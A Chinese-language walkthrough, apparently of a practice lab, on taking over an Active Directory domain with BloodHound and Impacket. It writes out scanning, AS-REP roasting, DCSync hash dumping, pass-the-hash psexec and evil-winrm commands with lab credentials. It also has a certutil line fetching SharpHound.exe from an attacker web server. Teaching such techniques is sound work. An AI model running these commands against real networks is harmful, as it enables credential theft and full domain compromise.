域渗透对于初学者来说,主要难点在于涉及域的基础理论知识较多,比如ACL访问控制、DcSync权限、黄金票据、白银票据、Access Token、哈希传递等等。
本文利用BloodHound来进行域信息的收集,更重要的是通过该工具对域信息进行充分的挖掘与分析,形成可行的渗透思路,遇到不懂的知识点,可以及时查阅相关资料,极大的提高了我们学习域渗透的效率。
在有了渗透思路后,我们利用Impacket工具包里的诸多域渗透相关工具进行实践即可。
本次域渗透背景为:通过前期web渗透,获取了一个域控服务器用户的账号及密码(sandra:Password1234!),但该用户权限较低,我们需要进一步渗透获取域控服务器管理员的权限。
为了保证渗透思路不被中断,其中涉及到域的一些知识点这里只做普及性的介绍,就不展开进行详细论述了,下面开始这次域渗透之旅。
端口扫描
根据开放的端口,明显知道这是一个域控服务器,我们在换个工具扫描一波端口,防止端口漏扫。
masscan -p 1-65535 10.10.10.30 -e tun0 —rate=1000
与nmap结果对比,新增了很多之前未发现的端口,比如:5985,如何利用后面会讲。(这里即使没有发现5985端口也不影响后续渗透的进行)
Impacket远程执行
既然已经有了一个用户的账号密码(sandra:Password1234!),想偷个懒看看能不能远程执行就拿下域控服务器,尝试一波Impacker的远程执行脚本。
Impacket的安装
Psexec.py:可提供完整的交互式控制台执行远程shell命令。
这里有个小技巧,因为密码中有!,所以要进行转意字符的处理;
wmiexec.py:可提供半交互式shell。
atexec.py:通过Task Scheduler服务在目标计算机上执行命令,并返回已执行命令的输出。
上述几个脚本都可以直接获取shell,属于直接能拿下服务器的工具,但这里不出意外,都没有成功,那我们还是老老实实来分析域信息吧。
域信息收集
这里我们采用的是Neo4j Bloodhound的组合来采集和分析域信息,因此我们简单介绍下如何安装:
Neo4j的安装及启动
去Neo4j官网下载社区免费版:
https://neo4j.com/download-center/#community
解压后启动,初始账号和密码均为neo4j,浏览器里访问http://localhost:7474,登录即可;
Bloodhound的启动
直接下载 https://github.com/BloodHoundAD/BloodHound,然后启动;
用上面Neo4j的账号密码登录,数据库的地址用默认的就可以,不需要更改;
域信息采集
Bloodhound自带有采集器的,一是powershell采集器脚本SharpHound.ps1,二是可执行文件SharpHound.exe,但都需要登录到目标机器后运行,这里我们采用一个可以远程采集域信息的工具
bloodhound.py,下载地址:
https://github.com/fox-it/BloodHound.py。
安装命令:python3 setup.py install,安装完成后直接运行:
代码语言:javascript复制bloodhound-python -d megacorp.local -u sandra -p "Password1234!" -gc pathfinder.megacorp.local -c all -ns 10.10.10.30
得到4个文件,computers.json、domains.json、groups.json、users.json,把生成的文件拖进Bloodhound;
加载完成后,点击Analysis就可以开始分析域信息了。
域信息分析
在开始分析之前,我们先简单了解下都可以分析出哪些结果;
我们实战中比较关注的点有:
Find all Domain Admins 查找所有域管理员
Find Shortest Paths to Domain Admins 查找域管理员的最短路径
Find Principals with DCSync Rights查找具有DCSync权限的主体
Users with Foreign Domain Group Membership 具有外域组成员身份的用户
Groups with Foreign Domain Group Membership 具有外域组成员身份的组
Map Domain Trusts 域信任映射图
Shortest Paths to Unconstrained Delegation Systems 不受约束的委派系统的最短路径
Shortest Paths from Kerberoastable Users 来自Kerberoastable用户的最短路径
Shortest Paths to Domain Admins from Kerberoastable Users 可通过Kerberoastable用户访问域管理员的最短路径
Shortest Path from Owned Principals 已拥有权限最短路径
Shortest Paths to Domain Admins from Owned Principals 已拥有权限到域管理员的最短路径
Shortest Paths to High Value Targets 高价值目标的最短路径
补充
绿色用户头像:用户
三个黄色头像:用户组
红色小电脑:计算机
绿色小地球:域
本次渗透的目标是拿下域控管理员,我们先依次分析下数据:
查找具有DCSync权限的主体;
通往高价值目标的最短路径;
我们可以看到用户svc_bes对域具有GenericAll特权。这意味着该帐户可以从域控制器请求复制数据,并获得敏感信息,如用户哈希等信息。
点开这个用户查看一下 Node Info。发现 ASREP Roastable 是 True
查询下相关资料,AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式,其余2个用户均没有开启。
至此,我们便有了一个渗透思路,从用户svc_bes开始入手。
域渗透
GetNPUsers.py
GetNPUsers.py是Impacket工具包中的一个脚本,该脚本实现了将尝试为那些设置了属性“不需要Kerberos预身份验证”的用户获取TGT输出。TGT hash 包含用户密码,获取到之后直接用 JTR 或者 hashcat 破解即可。
代码语言:javascript复制GetNPUsers.py megacorp.local/svc_bes -request -no-pass -dc-ip 10.10.10.30
由此获得了用户svc_bes的密码为Sheffield19,后续我们可以使用Impacket的secretsdump.py来执行DCSync攻击并转储所有域用户的NTLM哈希值。
secretsdump.py
secretsdump.py是Impacket工具包中的一个脚本,该脚本实现了多种不需要在远程主机上执行任何代理的情况下转储机密数据的技术。
代码语言:javascript复制secretsdump.py -dc-ip 10.10.10.30 MEGACORP.LOCAL/svc_bes:Sheffield19@10.10.10.30
至此得到了域管理员的NTLM哈希,我们可以在PTH攻击中使用它来获得对系统的更高访问权限,因此,我们可以使用Impacket的psexec.py来实现提权。
提权
psexec.py
psexec.py是Impacket工具包中的一个脚本,该脚本实现了在远程Windows系统上执行进程,复制文件,并返回处理输出结果,此外,它还允许直接使用完整的交互式控制台执行远程shell命令。
语法:
代码语言:javascript复制psexec.py megacorp.local/administrator@10.10.10.30 -hashes :
总结
看下整个渗透过程的流程图,方便于理清渗透思路;
彩蛋
之前发现5985端口是开放的,可以利用工具evil-winrm直接进行连接。
evil-winrm
evil-winrm是Windows远程管理(WinRM) Shell的终极版本。此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。
安装:
gem install evil-winrm
最初的用户sandra可以直连后获得shell的,只不过权限太低,所以要想办法切换到其他用户;
后续的用户svc_bes也可以用该工具直连获取shell;
管理员Administrator也可以直连获取shell;
运用Bloodhound自带采集器
当连接上后,就可以运行Bloodhound自带的采集器了;
先在kali上搭建一个web服务;
远程下载后运行;
代码语言:javascript复制certutil.exe -urlcache -split -f “http://10.10.16.66:8000/SharpHound.exe“ SharpHound.exe
程序运行后成功;
换成powershell脚本试试;
运行脚本;
成功采集到信息,下载下来看看;
导入BloodHound就可以分析了。